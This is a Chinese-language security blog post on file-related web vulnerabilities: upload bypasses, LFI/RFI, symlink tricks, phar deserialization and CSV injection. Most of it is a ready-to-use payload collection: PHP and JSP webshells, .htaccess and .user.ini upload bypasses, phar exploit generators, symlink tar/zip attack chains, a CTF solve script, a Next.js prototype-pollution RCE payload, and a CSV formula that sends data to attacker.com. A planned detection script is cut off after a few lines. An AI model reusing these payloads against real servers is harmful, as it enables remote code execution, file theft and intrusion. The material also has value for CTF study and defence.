浅析文件类漏洞原理与分类——含payload合集与检测与防护思路

文件相关的漏洞可不只有文件上传,还有文件包含(LFI,RFI)、文件下载和文件删除等。当然,其实本质上文件类漏洞基本都和Webshell与RCE都有密切的关系。

文件上传gershell姿势主要包括前端绕过、后缀绕过、MIME绕过、文件内容、文件解析类漏洞、CMS管理系统等。

文件包含主要分类为本地文件包含(LFI)与远程文件包含(RFI),getshell一般与php协议族、路径穿越、日志和debug利用。

文件下载getshell主要与目录穿越、协议、编码、权限设置相关。文件删除一般与软连接、参数污染与权限绕过相关。

思维导图示例

当然本思维导图不一定正确,本部分主要包括文件上传、文件下载、文件删除、文件包含等部分的思维导图示例。

js 复制代码
文件类漏洞绕过
├── 一、文件上传 Upload Bypass
│   ├── 1. 前端绕过
│   │   ├── 修改 JS 校验
│   │   ├── 抓包改后缀(Burp)
│   │   └── 修改 Content-Type
│   │
│   ├── 2. 后缀绕过
│   │   ├── 双后缀 shell.php.jpg
│   │   ├── 大小写绕过 .PHP .pHp
│   │   ├── 特殊后缀 .php5 .phtml
│   │   └── .htaccess / .user.ini
│   │
│   ├── 3. MIME绕过
│   │   ├── Content-Type: image/jpeg
│   │   └── 伪造请求头
│   │
│   ├── 4. 文件内容绕过  //注意polyglot
│   │   ├── 图片马(GIF89a)
│   │   ├── polyglot 文件(图片+PHP)
│   │   └── 添加合法文件头
│   │
│   ├── 5. 文件解析漏洞  //建议结合指纹识别和FOFA语法
│   │   ├── Apache 解析漏洞(xxx.php.jpg)
│   │   ├── Nginx + PHP-FPM 解析错误
│   │   └── IIS 解析漏洞(;)
│   │
│   ├── 6. 文件名绕过
│   │   ├── 空格绕过 shell.php␠
│   │   ├── 点绕过 shell.php.
│   │   ├── ::$DATA(NTFS)
│   │   └── Unicode 编码
│   │
│   ├── 7. 截断绕过(旧版本)
│   │   ├── %00 截断
│   │   └── 长度截断
│   │
│   └── 8. 配置利用
│       ├── 上传 .htaccess 执行 PHP
│       └── 上传 .user.ini 配置 auto_prepend_file
│
├── 二、文件包含 Include Bypass
│   ├── 1. LFI绕过  //老演员
│   │   ├── ../ 目录遍历
│   │   ├── ....// 绕过过滤
│   │   └── 编码绕过(URL编码)
│   │
│   ├── 2. 协议绕过(重点)
│   │   ├── php://filter → 读源码
│   │   ├── php://input → RCE
│   │   ├── data:// → 代码执行
│   │   ├── phar:// → 反序列化
│   │   └── zip:// → 文件包含
│   │
│   ├── 3. 截断绕过  //类似%0a%0d
│   │   ├── %00 截断
│   │   └── 路径长度限制
│   │
│   ├── 4. 日志利用 //这个部分CVE可能会涉及
│   │   ├── access.log 注入
│   │   ├── error.log 注入
│   │   └── SSH日志
│   │
│   ├── 5. Session利用 //暂时没见到过
│   │   └── 包含 session 文件
│   │
│   └── 6. 上传配合利用 //这个比较常见
│       └── 上传 shell → include 执行
│
├── 三、文件下载 Download Bypass
│   ├── 1. 路径遍历
│   │   ├── ../../../etc/passwd
│   │   ├── ..%2f 绕过
│   │   └── 双写绕过 ....//
│   │
│   ├── 2. 编码绕过
│   │   ├── URL编码
│   │   ├── 双重编码
│   │   └── Unicode编码  //%2e
│   │
│   ├── 3. 文件名绕过
│   │   ├── 加点 ./
│   │   ├── 多斜杠 ////
│   │   └── Windows路径 \
│   │
│   ├── 4. 协议绕过
│   │   ├── file://
│   │   ├── php://filter
│   │   └── phar://
│   │
│   └── 5. 权限绕过 //???
│       ├── 直接访问真实路径
│       └── 越权下载(IDOR)
│
└── 四、文件删除 Delete Bypass
    ├── 1. 路径控制
    │   ├── ../ 删除任意文件
    │   └── 绝对路径删除
    │
    ├── 2. 软链接利用  
    │   ├── 删除指向敏感文件
    │   └── TOCTOU(时间竞争)
    │
    ├── 3. 编码绕过
    │   ├── URL编码
    │   └── 双写绕过
    │
    ├── 4. 参数污染
    │   ├── file=1&file=../../xxx
    │   └── 覆盖变量
    │
    ├── 5. 权限绕过
    │   ├── 越权删除
    │   └── 修改他人文件
    │
    └── 6. 逻辑缺陷
        ├── 只校验文件名不校验路径
        └── 未使用 realpath()

软连接

什么是软链接?什么是硬链接?相信有的读者感到很陌生,当然也会有读者自己感觉老熟悉了。不管你熟不熟悉,我都会带大家简单的过一遍,让大家懂得其中的原理和应用场景。

软连接 & 硬连接

  1. 硬链接(Hard Link)
    本质:多个文件名指向同一个 inode(同一个文件内容)
js 复制代码
ln file1 file2

特点:
- file1 和 file2 **完全等价**
- 删除一个,不影响另一个
- inode 相同
  1. 软链接(Symbolic Link)
    本质:类似快捷方式,指向"路径"
js 复制代码
ln -s file1 file2

特点:
- 类似 Windows 快捷方式
- inode 不同
- 指向路径(不是文件本体)
- 源文件删除 → 失效(悬挂链接)
特性 硬链接 软链接
inode 相同 不同
是否跨文件系统
是否可指向目录 ❌(一般)
删除源文件影响 ❌ 不影响 ✅ 失效
本质 文件别名 路径引用

硬链接与软链接的 inode 关系图

硬链接:

js 复制代码
//共享 inode
        ┌─────────────┐
        │   数据块     │
        │  (实际内容)  │
        └──────▲──────┘
               │
        ┌──────┴──────┐
        │   inode 123  │
        │ (元数据+指针) │
        └──────▲──────┘
               │
       ┌───────┴───────┐
       │               │
   ┌───┴───┐       ┌───┴───┐
   │ file1 │       │ file2 │
   └───────┘       └───────┘

- `file1` 和 `file2` 的目录项都指向 **同一个 inode (123)**。 
- 删除任意一个文件名,另一个依然有效,因为 inode 的引用计数只是减 1。

我自己个人对于硬链接的理解是这俩个文件相当于一个哈希值,即使哈希表中删除一个值,此时哈希表中映射的那个哈希值依然存在。比如3 % 7 == 3,10 % 7 == 3,即使删除其中一个数,依然存在一个数值a % 7 == 3(a是3和10中的其中一个数值)。

软链接:

js 复制代码
//路径引用
        ┌─────────────┐
        │   数据块     │
        │  (实际内容)  │
        └──────▲──────┘
               │
        ┌──────┴──────┐
        │   inode 456  │
        │ (目标文件)    │
        └──────▲──────┘
               │
        ┌──────┴──────┐
        │    file1    │
        └─────────────┘
               ▲
               │  (路径名 "file1")
               │
        ┌──────┴──────┐
        │   inode 789  │  ← 软链接自己的 inode
        │ (存储 "file1")│
        └──────▲──────┘
               │
        ┌──────┴──────┐
        │    file2    │  ← 软链接文件
        └─────────────┘

- `file2` 是一个独立的文件(有自己的 inode 789),其数据块里保存的是路径字符串 `"file1"`。 
- 访问 `file2` 时,系统读取 `"file1"`,然后去查找名为 `file1` 的文件,再通过它的 inode (456) 找到真实数据。
- 如果 `file1` 被删除,`file2` 就成为"悬挂链接"(dangling link)。

我个人对于软链接的理解是file2相当于一个指针,其中file2中存储的数值是file1的地址。当我们读取file2时,它只传给我们一个地址(一个路径字符串),然后系统就会从内存里去读取存储这个地址的栈file1。当然,这个栈file1也有自己在系统里的索引(innode)。找到这个索引之后,发现file1在里面存储的是一个实际的数值real_digital(真实的文件)。如果将这个数值删去,那么file2极大的可能无法访问到数值real_digital,从而file2成为一个"空壳的傀儡"。

js 复制代码
软链接与硬链接的简单示意图
【硬链接】
  目录项            inode             数据
  file1 ──────┐
              ├────→ [123] ────→ 磁盘块
  file2 ──────┘

【软链接】
  目录项            inode             数据
  file2 ────→ [789] ────→ "file1" (路径字符串)
                             │
                             ▼
  file1 ────→ [456] ────→ 磁盘块
- **硬链接**:多个名字 → 同一个 inode → 同一份数据。两个文件名指向同一个 inode,共享数据块。删除任一文件名不影响另一文件访问。
- **软链接**:一个名字 → 自己的 inode → 存储路径 → 目标文件 → 目标 inode → 数据。链接文件拥有独立 inode,其数据块存储的是目标文件的**路径字符串**。访问时通过路径解析找到目标文件的 inode 和数据。若目标文件被删除,链接失效(悬挂链接)。

更多关于软连接和硬链接的知识建议参考: segmentfault.com/a/119000004...

软连接在CTF中的运用

CTF攻击场景介绍:

1. 任意文件读取&任意文件删除 & 任意文件覆盖

a).任意文件读取

js 复制代码
场景:程序只允许下载 `/uploads/` 目录:
readfile("uploads/" . $_GET['file']);
bash 复制代码
利用:
ln -s /etc/passwd uploads/passwd.txt

当我们访问:?file=passwd.txt时,实际读取:/etc/passwd

b). 任意文件删除

js 复制代码
场景:unlink("uploads/" . $_GET['file']);
bash 复制代码
利用:ln -s /var/www/config.php uploads/test.txt

当我们访问:?file=test.txt时,删除的是:config.php

c).任意文件覆盖

js 复制代码
场景:file_put_contents("uploads/" . $filename, $data);

利用:ln -s /var/www/index.php uploads/shell.php,看似写入 shell → 实际同时覆盖 index.php

2. 绕过路径限制

js 复制代码
//场景:
if (strpos($file, '../') !== false) die();
bash 复制代码
攻击链路:
//利用
include("safe.txt")
   ↓
文件系统解析
   ↓
发现是软链接
   ↓
跳转到 /etc/passwd
   ↓
读取真实文件

实际执行效果:
1.上传或创建软链接  ln -s /etc/passwd safe.txt  uploads/link → /etc/passwd
2.访问与执行。?file=uploads/link   include("uploads/link")  → /etc/passwd

3. 文件包含漏洞利用

js 复制代码
场景:include($_GET['file']);
php 复制代码
解题步骤:
1.上传与创建软连接。
ln -s /tmp/evil.php uploads/shell
文件系统里会变成:
uploads/
 └── shell  (类型:symlink)
        ↓
   /tmp/evil.php
1️⃣ 找到 uploads 目录 inode
2️⃣ 找到 shell 文件 inode
3️⃣ 发现类型 = symlink
4️⃣ 读取 symlink 内容 → "/tmp/evil.php"
5️⃣ 替换当前路径
6️⃣ 重新解析 /tmp/evil.php
7️⃣ 打开真实文件

2.?file=uploads/shell

实际执行效果:
uploads/shell

↓ PHP 层
include("uploads/shell")

↓ OS 层解析
uploads/shell → /tmp/evil.php

↓ PHP 获取文件内容
<?php system($_GET['cmd']); ?>

↓ Zend 引擎执行
system($_GET['cmd'])

4. 日志注入

js 复制代码
//场景:
//index.php
$file = $_GET['file'] ?? 'home.php';

if (strpos($file, '../') !== false) {
    die("hack");
}

include($file);

利用条件:

解释
日志可控 User-Agent 可写入
include 可执行 不是 file_get_contents
软链接 绕过路径限制
无 realpath 校验 核心漏洞
php 复制代码
解题步骤:
1.抓包测试日志注入。
GET /?test=1
User-Agent: <?php system($_GET['cmd']); ?>
Nginx 日志路径:/var/log/nginx/access.log会记录 "<?php system($_GET['cmd']); ?>"

2.上传与创建软连接。
uploads/shell → /var/log/nginx/access.log  //大家发现规律没,是不是很像指针!
ln -s /var/log/nginx/access.log  uploads/shell  //后面的文件指向前面的文件和目录

3.触发与执行。触发 include: ?file=uploads/shell&cmd=id

实际执行效果:
include("uploads/shell")
    ↓
解析软链接
    ↓
/var/log/nginx/access.log
    ↓
读取日志内容
    ↓
执行 PHP 代码
    ↓
system("id")

5. tar/zip解压

a).

js 复制代码
//场景1:tar
// upload.php
move_uploaded_file($_FILES['file']['tmp_name'], "/tmp/a.tar");

system("tar -xf /tmp/a.tar -C /var/www/html/uploads/");


// index.php
include($_GET['file']);

利用条件:

说明
tar 天然支持 symlink
解压顺序 先 link 后写文件
文件覆盖 利用链接重定向
include 执行
bash 复制代码
攻击链路:
tar 支持 symlink
        ↓
解压时创建软链接
        ↓
后续写入/访问被重定向
        ↓
触发 include

解题步骤:
1.创建软链接。ln -s /var/www/html/uploads/shell.php link(目标路径) 这里目标路径可以是:Web 可访问目录,PHP 可执行位置。
2.构造一个普通文件(用于"写入内容")。echo '<?php system($_GET["cmd"]); ?>' > evil.php
3.打包 tar(关键技巧)。
tar -cf exploit.tar link evil.php 
 或者 
ln -s /var/www/html/uploads/shell.php evil
tar -cf exploit.tar evil
这是因为在某些解压逻辑中:先创建 symlink,后续写入同名文件时会写到链接指向位置。
4.上传并解压。
服务器执行:tar -xf /tmp/a.tar -C /var/www/html/uploads/
结果:
uploads/
 ├── link → /var/www/html/uploads/shell.php
 └── evil.php
原理:利用"写入覆盖",写 evil.php → 实际写入 shell.php(通过 link)
5.触发与执行。触发 include,?file=/var/www/html/uploads/shell.php&cmd=id

b).

js 复制代码
//场景2:zip
// unzip.php
$zip = new ZipArchive();
$zip->open($_FILES['file']['tmp_name']);
$zip->extractTo("/var/www/html/uploads/");
$zip->close();

// index.php
$file = $_GET['file'];

if (strpos($file, '../') !== false) {
    die("hack");
}

include("uploads/" . $file);

利用条件,根据攻击链路得知。

本质
zip -y 保留软链接
extractTo 未过滤文件类型
include 执行 PHP
无 realpath 路径校验失效
php 复制代码
//攻击链路:
ZIP 内嵌软链接
        ↓
解压恢复 symlink
        ↓
include 触发
        ↓
执行外部 PHP 文件

解题思路:
1.本地构造软链接。ln -s /tmp/evil.php shell,查看ls -l,预期输出shell -> /tmp/evil.php
2.打包 ZIP(关键点),上传 ZIP 并解压。
zip -y evil.zip shell。参数解释:`-y`:保留软链接本身,如果不用 `-y`,会把目标文件打进去(攻击失败)。
解压后服务器目录变成:
/var/www/html/uploads/
 └── shell → /tmp/evil.php
3.准备php文件。
echo '<?php system($_GET["cmd"]); ?>' > /tmp/evil.php
printf '<?php system($_GET["cmd"]); ?>' > /tmp/evil.php

cat <<EOF > /tmp/evil.php
<?php system($_GET['cmd']); ?>
EOF
4.触发漏洞并执行。?file=shell&cmd=id


执行效果:
include("uploads/shell")
    ↓
软链接解析
    ↓
/tmp/evil.php
    ↓
PHP 执行
    ↓
system("id")

tar/zip差异对比:

特性 ZIP TAR
默认保留 symlink ❌(需 -y)
控制精度
利用难度
常见场景 Web 上传 运维脚本

第一次接触这个东西是在课堂上接触到的,不过那道题的确很难。个人评价是堪比往年很多大型ctf半决赛赛时才可能出现的好题目。

本题解的题目来源 NSSRound 6 Team]check(V1 &V2)]

js 复制代码
# 创建软链接指向flag文件
ln -s /flag flag
echo -e "\n软链接已创建。"
 
# 创建包含软链接的tar文件
tar -cvf flag.tar flag
echo -e "\ntar文件已创建:flag.tar"
 
# 上传tar文件
curl -X POST -F "file=@flag.tar" http://node5.anna.nssctf.cn:28432/upload
echo -e "\ntar文件已上传。"
 
# 保持会话状态并下载文件
COOKIE_JAR=$(mktemp)
echo -e "\n临时cookie文件已创建:$COOKIE_JAR"
curl -X POST -c "$COOKIE_JAR" -F "file=@flag.tar" http://node5.anna.nssctf.cn:28432/upload
echo -e "\ntar文件已重新上传并保存cookie。"
 
curl -X POST -b "$COOKIE_JAR" -d "filename=flag" http://node5.anna.nssctf.cn:28432/download
echo -e "\n文件已下载:flag"
 
rm "$COOKIE_JAR"
echo -e "\ncookie文件已删除。"
 

特殊配置文件

主要包括.htaccess和.user.ini文件。

  1. SWPUCTF 2022 新生赛 Ez_upload www.cnblogs.com/red1giant-s...
  2. GHCTF 2025 UPUPUP , GKCTF 2021 easycms,suctf 2019 checkin。
    这一部分的灵感都来自与这里的四道题目,由于四道题目是连着的,所以只给出一个链接。
js 复制代码
/.htaccess,俩种方式
GIF89a
<FilesMatch "index.jpg"> 
SetHandler application/x-httpd-php
</FilesMatch>
 
GIF89a
AddType application/x-httpd-php .jpg

/.user.ini
GIF89a
auto_prepend_file=index.jpg

攻击步骤示例,burpsuite/yakit抓包。

js 复制代码
//filename添加.htaccess
<FilesMatch "index.jpg"> 
SetHandler application/x-httpd-php
</FilesMatch>

//具体验证过程,个人不太喜欢连中国蚁剑
http://node5.anna.nssctf.cn:21160/upload/e84edbda8f9b20427f66a9c307b87357/index.jpg
<script language='php'>system($_POST['cmd']);</script>    //Header
cmd=phpinfo();  //post
 

文件头绕过姿势:

js 复制代码
#define width 1   //XBM
#define height 1
<FilesMatch "index.jpg">
SetHandler application/x-httpd-php
</FilesMatch>


\x00\x00\x85\x85  //WBMP
GIF89a
<script language='php'>system($_POST['cmd']);</script>  

其余在ctf靶场里面遇见过的题目:

js 复制代码
?file=php://filter/read=convert.base64-encode/resource=/flag
js 复制代码
//sudo提权
http://node5.anna.nssctf.cn:25873/cmd
 
shit=/usr/bin/sudo find /usr/bin/find -exec id ;  //POST
uid=0(root) gid=0(root) groups=0(root)  
 
js 复制代码
//ssti
http://node4.anna.nssctf.cn:28058/xff/
 
X-Forwarded-For: {if system('ls /') }{/if} //Header

phar协议

**phar(PHP Archive)本质上是一种 PHP 打包格式(类似 zip/jar)。他包含以下几个部分

js 复制代码
stub(启动代码)
manifest(元数据 metadata ⭐) //关键点$phar->setMetadata($obj);  // 存入一个对象(序列化)
file contents(文件内容)
signature(签名)

常见的触发函数有:

scss 复制代码
//漏洞原理:"文件操作函数 + phar:// = 自动反序列化"
//1. 识别 phar:// 协议
//2. 解析 phar 文件结构
//3. 读取 manifest
//4. 自动 unserialize(metadata) 🚨
phar://xxx
    ↓
解析 manifest
    ↓
读取 metadata
    ↓
unserialize()
    ↓
__destruct()
    ↓
   RCE

file_exists()
is_file()
is_dir()
fopen()
file_get_contents()
stat()
unlink()
copy()
md5_file()
sha1_file()
exif_read_data()  ⭐(常见绕过点)

完整的攻击链路示例:

复制代码
文件上传 → phar构造 → 文件操作触发 → 反序列化 → 魔术方法 → RCE

Step 1:构造恶意对象(POP链)

js 复制代码
class Evil {
    public function __destruct() {
        system("id");
    }
}

Step 2:生成 phar 恶意文件

js 复制代码
<?php
class Evil {
    public function __destruct() {
        system("id");
    }
}

$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");

// 核心:写入恶意对象
$phar->setMetadata(new Evil());

$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->stopBuffering();

Step 3:上传伪装文件

js 复制代码
test.jpg  → 实际是 phar

Step 4:触发漏洞

js 复制代码
如果审计源码为:file_exists($_GET['file']);
访问:file=phar://upload/test.jpg

Step 5:自动触发

js 复制代码
file_exists()
   ↓
phar解析
   ↓
metadata反序列化
   ↓
__destruct() 执行
   ↓
RCE

利用条件总结,防御手段也可以从这里考虑:

  1. 可控文件路径。file_exists($_GET['file']);
  2. 存在文件操作函数。
  3. 存在可利用 POP 链。
  • __destruct
  • __wakeup
  • __toString
  • __call
  1. 可上传或可写入 phar 文件 。

动手实践环节:经典漏洞复现推荐 Laravel / ThinkPHP 的 phar 利用链分析,natas34 关。

csv注入

这个漏洞基本上很少接触,第一次接触是在chatgpt Pro版本和github某些仓库里找到的。

本质一句话:把"恶意公式"写进 CSV,让 Excel/WPS 打开时自动执行

攻击原理:

复制代码
用户输入 → 存入数据库 → 导出CSV → 管理员打开 → Excel执行公式 → 触发攻击

典型攻击场景:

  1. 命令执行(Windows + Excel)
js 复制代码
=CMD|' /C calc'!A0

打开 CSV 时: 调用 cmd,执行系统命令
  1. 数据外带(最常见🔥)
js 复制代码
=HYPERLINK("http://attacker.com/?data="&A1)
打开时:自动访问攻击者服务器,把数据带出去

3.DDE 利用(旧版 Excel)

js 复制代码
//Dynamic Data Exchange
=cmd|'/C calc'!A0
  1. 钓鱼攻击
js 复制代码
=HYPERLINK("http://evil.com","Click me")

利用条件,主要是文件导出和部分输入点:

  1. 用户输入进入 CSV。例如:用户名,邮箱,评论,订单信息。

  2. 未做过滤/转义。

    = + - @

  3. 受害者打开 CSV。 4. 使用支持公式的工具。

本部分的题目可以参考 ,ofbiz/CVE-2024-45195或者natas31,natas32(Perl语言)。
juejin.cn/post/761068...

www.cnblogs.com/red1giant-s...

难题示例

最终极的练习题,本题由chatgpt提供。

题目背景(CTF Challenge)

目标:读取 /flag

服务器功能:

  • 支持 ZIP 上传并解压
  • 存在文件包含功能
  • 记录访问日志
  • 使用 file_exists() 判断文件

审计源码:

  1. 上传 & 解压(存在软链接问题)
js 复制代码
if(isset($_FILES['zip'])){
    move_uploaded_file($_FILES['zip']['tmp_name'], 'uploads/payload.zip');
    system("unzip uploads/payload.zip -d uploads/");
}
❗漏洞点: 未过滤软链接,未限制解压内容
  1. 文件包含(存在入口)
js 复制代码
$file = $_GET['file'];

if(strpos($file, '../') !== false){
    die("No Hack");
}

include("uploads/" . $file);
❗漏洞点:仅过滤 `../`,未做 `realpath()` 校验
  1. 日志记录(可控写入)。
js 复制代码
$log = $_SERVER['HTTP_USER_AGENT'];
file_put_contents('/var/log/nginx/access.log', $log . "\n", FILE_APPEND);
❗漏洞点:用户可控 → 可写 PHP 代码
  1. PHAR触发点(关键)
js 复制代码
if(isset($_GET['check'])){
    file_exists($_GET['check']);
}
❗漏洞点: `file_exists()` 可触发 phar 反序列化
  1. 存在危险类(POP链)。
js 复制代码
class Test {
    public $cmd;

    function __destruct(){
        system($this->cmd);
    }
}

解题步骤:

php 复制代码
攻击链路:
日志写入 → 构造 phar
        ↓
软链接上传 → 指向日志
        ↓
include 触发 phar://
        ↓
file_exists() → 反序列化
        ↓
__destruct() → RCE


Step 1:构造 PHAR 恶意文件。本地生成 `phar`:关键点: `setMetadata()` → 触发反序列化,stub伪装成图片(绕检测)。
<?php
class Test {
    public $cmd = "cat /flag";
}

$phar = new Phar("exploit.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");

$object = new Test();
$phar->setMetadata($object);
$phar->addFromString("test.txt", "test");

$phar->stopBuffering();
?>

Step 2:把 PHAR 写入日志(核心骚操作)。因为不能直接上传 phar → 用日志写!
curl -H "User-Agent: $(cat exploit.phar)" http://target_url/
结果:/var/log/nginx/access.log = phar内容


Step 3:构造软链接指向日志。
ln -s /var/log/nginx/access.log shell
打包软链接:`zip -y payload.zip shell`
原理:上传后,`uploads/shell → /var/log/nginx/access.log`

Step 4:触发 include(引入 phar)。访问:`?file=shell`
执行效果:
include("uploads/shell")
↓
/var/log/nginx/access.log
↓
phar 被解析(但还没触发)

Step 5:触发 PHAR 反序列化。访问:`?check=phar://uploads/shell`
执行效果:
file_exists("phar://uploads/shell")
    ↓
操作系统解析软链接
    ↓
指向 /var/log/nginx/access.log
    ↓
PHP 将该文件作为 phar 处理
    ↓
解析 metadata(触发反序列化)
    ↓
执行 __destruct()
    ↓
system("cat /flag")

这题本质是由以下的漏洞组合

技术 类型
日志写入 任意文件写
软链接 路径绕过
文件包含 LFI
PHAR 反序列化
魔术方法 RCE

把上一题加大难度,稍微变态一点点,如果file参数禁止 phar://怎么办?

利用条件:

技术 难点
phar 禁用 绕过 wrapper 检测
zip:// 二次包装
软链接 路径跳转
日志写入 任意文件写
open_basedir 限制绕过
js 复制代码
//场景:多重协议链 + 限制绕过 + 延迟触发
// 1. 禁止 phar://
if(preg_match('/phar/i', $_GET['file'])) die("no phar");

// 2. 过滤 ../
if(strpos($_GET['file'], '../') !== false) die("no path");

// 3. include入口
include($_GET['file']);

// 4. 触发点
file_exists($_GET['check']);

// 5. open_basedir 限制
open_basedir=/var/www/html/



攻击链路:
日志写入 → 构造 PHAR
        ↓
ZIP + 软链接 → 指向日志
        ↓
zip:// 包装 phar
        ↓
绕过 phar:// 过滤
        ↓
file_exists 触发反序列化
        ↓
RCE

关键原理:使用 `zip://` 包裹 phar,zip://uploads/payload.zip#shell
为什么成立?因为:
zip:// → 解压文件
       ↓
shell(软链接)
       ↓
指向 access.log(phar内容)
       ↓
底层仍然走 phar 解析



解题步骤:
Step 1:生成 phar payload。(同之前一样)$phar->setMetadata(new Test());
Step 2:写入日志。curl -H "User-Agent: $(cat exploit.phar)" http://target_url/
Step 3:构造 ZIP + 软链接。
ln -s /var/log/nginx/access.log shell
zip -y payload.zip shell
Step 4:上传。uploads/payload.zip
Step 5:触发 include(铺路)。?file=zip://uploads/payload.zip#shell
Step 6:真正触发反序列化。?check=zip://uploads/payload.zip#shell
执行效果:
file_exists("zip://uploads/payload.zip#shell");
↓
zip wrapper
↓
shell(软链接)
↓
access.log(phar)
↓
解析 metadata
↓
RCE

更难的版本有以下变更方向,大家可以自行深度思考或者结合ai自己梳理解题思路。

js 复制代码
无日志写入版(更难) 思路:LFI + /proc/self/fd + phar
无 phar 字样 + 无 zip  思路:data:// + base64 + phar polyglot
PHP 8 绕过版(最难)PHP 8 默认不自动反序列化 phar metadata

paylaod总结

js 复制代码
//php协议族
php://filter  php://filter/convert.base64-encode/resource=index.php
data://       data://text/plain,<?php system($_GET['cmd']); ?>
              data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=  //利用条件,allow_url_include = On
zip://         zip://archive.zip#file.php
zip经典利用链:
zip://payload.zip#shell
        ↓
shell(软链接)
        ↓
/var/log/access.log
        ↓
phar payload
如果只能上传图片,可以将 PHP 马压缩进 `shell.zip`,改名为 `shell.jpg` 上传。利用:`index.php?file=zip://uploads/shell.jpg#shell.php`

phar://test.phar  触发函数,file_exists() is_file() fopen() stat()
常见的组合拳:phar+zip/tar+symlink,log+symlink+phar
php://input       请求 URL: index.php?file=php://input,POST Body:<?php system('whoami'); ?>`


//特殊配置文件+文件头
/.htaccess,俩种方式
GIF89a
<FilesMatch "index.jpg"> 
SetHandler application/x-httpd-php
</FilesMatch>
 
 GIF89a
AddType application/x-httpd-php .jpg

/.user.ini
GIF89a
auto_prepend_file=index.jpg

#define width 1   //XBM
#define height 1
\x00\x00\x85\x85  //WBMP
GIF89a


//黑名单+白名单+解析类漏洞
/execdownload.php?filename=../../../index.php
/?filename=C:/../../../../Windows\win.ini
/fi_local.php?filename=../../unsafeupload/uploads/2023/07/11/77050464ad61663718d703992833.jpg
// .Php,空格,点号,::$DATA,shell.php. .,pphphp,%00,0x00,/.
// copy php.php/b + love.png lovelove.png /include.php?file=/upload/7420230928033352.png
// exiftool -Comment='`<?php @eval($_POST["cmd"]); ?>`' innocent.jpg -o malicious.jpg
<?php @eval($_POST['cmd']); ?>            //正常写法
<?=@eval($_POST['cmd']); ?>                //短标签,适合过滤php
<% @eval($_POST['cmd']); %>                //asp风格
<script language='php'>@eval($_POST['cmd']);</script>      
- **特殊扩展名**:
  - PHP: `.php3`, `.php4`, `.php5`, `.phtml`, `.phps`, `.phar`
  - ASP: `.asa`, `.cer`, `.cdx`
  - JSP: `.jspx`, `.jspf`

- **大小写混淆**:`.PHP`, `.Php`, `.aSp`
- **双重扩展名**:`.jpg.php`, `.php.jpg`(依赖解析顺序)
- **点号空格绕过**:`shell.php.`, `shell.php `(系统自动去除)
- **特殊字符**:在旧版PHP中可用空字节`shell.jpg%00.php

- **服务器解析特性**:
  - **IIS 6.0**: `/shell.asp;.jpg` 解析为ASP
  - **Apache**:`shell.php.xxx`(如果xxx未定义,可能解析为php)
  - **Nginx**:配置错误导致解析漏洞
- **文件内容**:
  - 脚本标记:`<?php`、`<%`、`<script language="php">`、`<?=`。
  - 图片头:`GIF89a`、`ÿØÿà`(JPEG)、`‰PNG`(PNG)后跟脚本代码。
  - 可执行代码特征:`eval`、`system`、`exec`、`passthru`、`shell_exec`。
- **文件名**:
  - 双扩展名:`.php.jpg`、`.asp.png`。
  - 可执行扩展名:`.php`、`.asp`、`.aspx`、`.jsp`、`.exe`、`.cgi`。
- **HTTP头**:
  - `Content-Type`伪造为`image/gif`、`image/jpeg`等。
  - 上传文件大小、文件格式与声明不符。



//常见木马(未免杀版本)+ 之前打过的部分CVE靶场(RCE,听说是内存马?)
<%@ page import='java.io.*' %><%@ page import='java.util.*' %><h1>Ahoy!</h1><br><% String getcmd = request.getParameter("cmd"); if (getcmd != null) { out.println("Command: " + getcmd + "<br>"); String cmd1 = "/bin/sh"; String cmd2 = "-c"; String cmd3 = getcmd; String[] cmd = new String[3]; cmd[0] = cmd1; cmd[1] = cmd2; cmd[2] = cmd3; Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine();}} %>

<?php file_put_contents('/tmp/evil.php','<?php system($_GET["cmd"]); ?>'); ?>
<?php
$f = fopen('/tmp/evil.php','w');
fwrite($f,'<?php system($_GET["cmd"]); ?>');
fclose($f);
?>
------WebKitFormBoundarykTAs4eMvdc3dwYhM
Content-Disposition: form-data; name="file"; filename="shell.jsp"
Content-Type: application/octet-stream

%
  out.println("hello world");
%>
------WebKitFormBoundarykTAs4eMvdc3dwYhM
Content-Disposition: form-data; name="top.fileFileName"

../shell.jsp
------WebKitFormBoundarykTAs4eMvdc3dwYhM--

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{"then":"$B1337"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('pwd').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--



<%
  Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
  InputStream inputStream = process.getInputStream();
  BufferedReader bufferedReader =  new BufferedReader(new InputStreamReader(inputStream));
  String line;
  while ((line = bufferedReader.readLine())!=null){
     response.getWriter().print(line);
    }
%>
<%
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
const Buffer = FunctionConstructor('return Buffer')()
const output = process.mainModule.require("child_process").execSync(Buffer.from('%s', 'hex').toString()).toString()
context.responseData = 'testtest' + output + 'testtest'
%>

<%
Runtime.getRuntime().exec(request.getParameter("cmd"));
%>

基于规则匹配和语义分析的检测与防护

由于这里无法模拟上传到某个网站具体的路径,所以主要实现的思路还是利用python字典建立本地字符集,然后进行相关的关键词检测。

脚本

js 复制代码
# 运行环境python 3.12
import re
import os
import mimetypes
from typing import List, Dict, Tuple, Optional
from dataclasses import dataclass
from enum import Enum
from pathlib import Path


class ThreatLevel(Enum):
    SAFE = "safe"
    LOW = "low"
    MEDIUM = "medium"
    HIGH = "high"
    CRITICAL = "critical"


class VulnerabilityType(Enum):
    FILE_UPLOAD = "file_upload"
    FILE_INCLUDE = "file_include"
    FILE_DOWNLOAD = "file_download"


@dataclass
class DetectionResult:
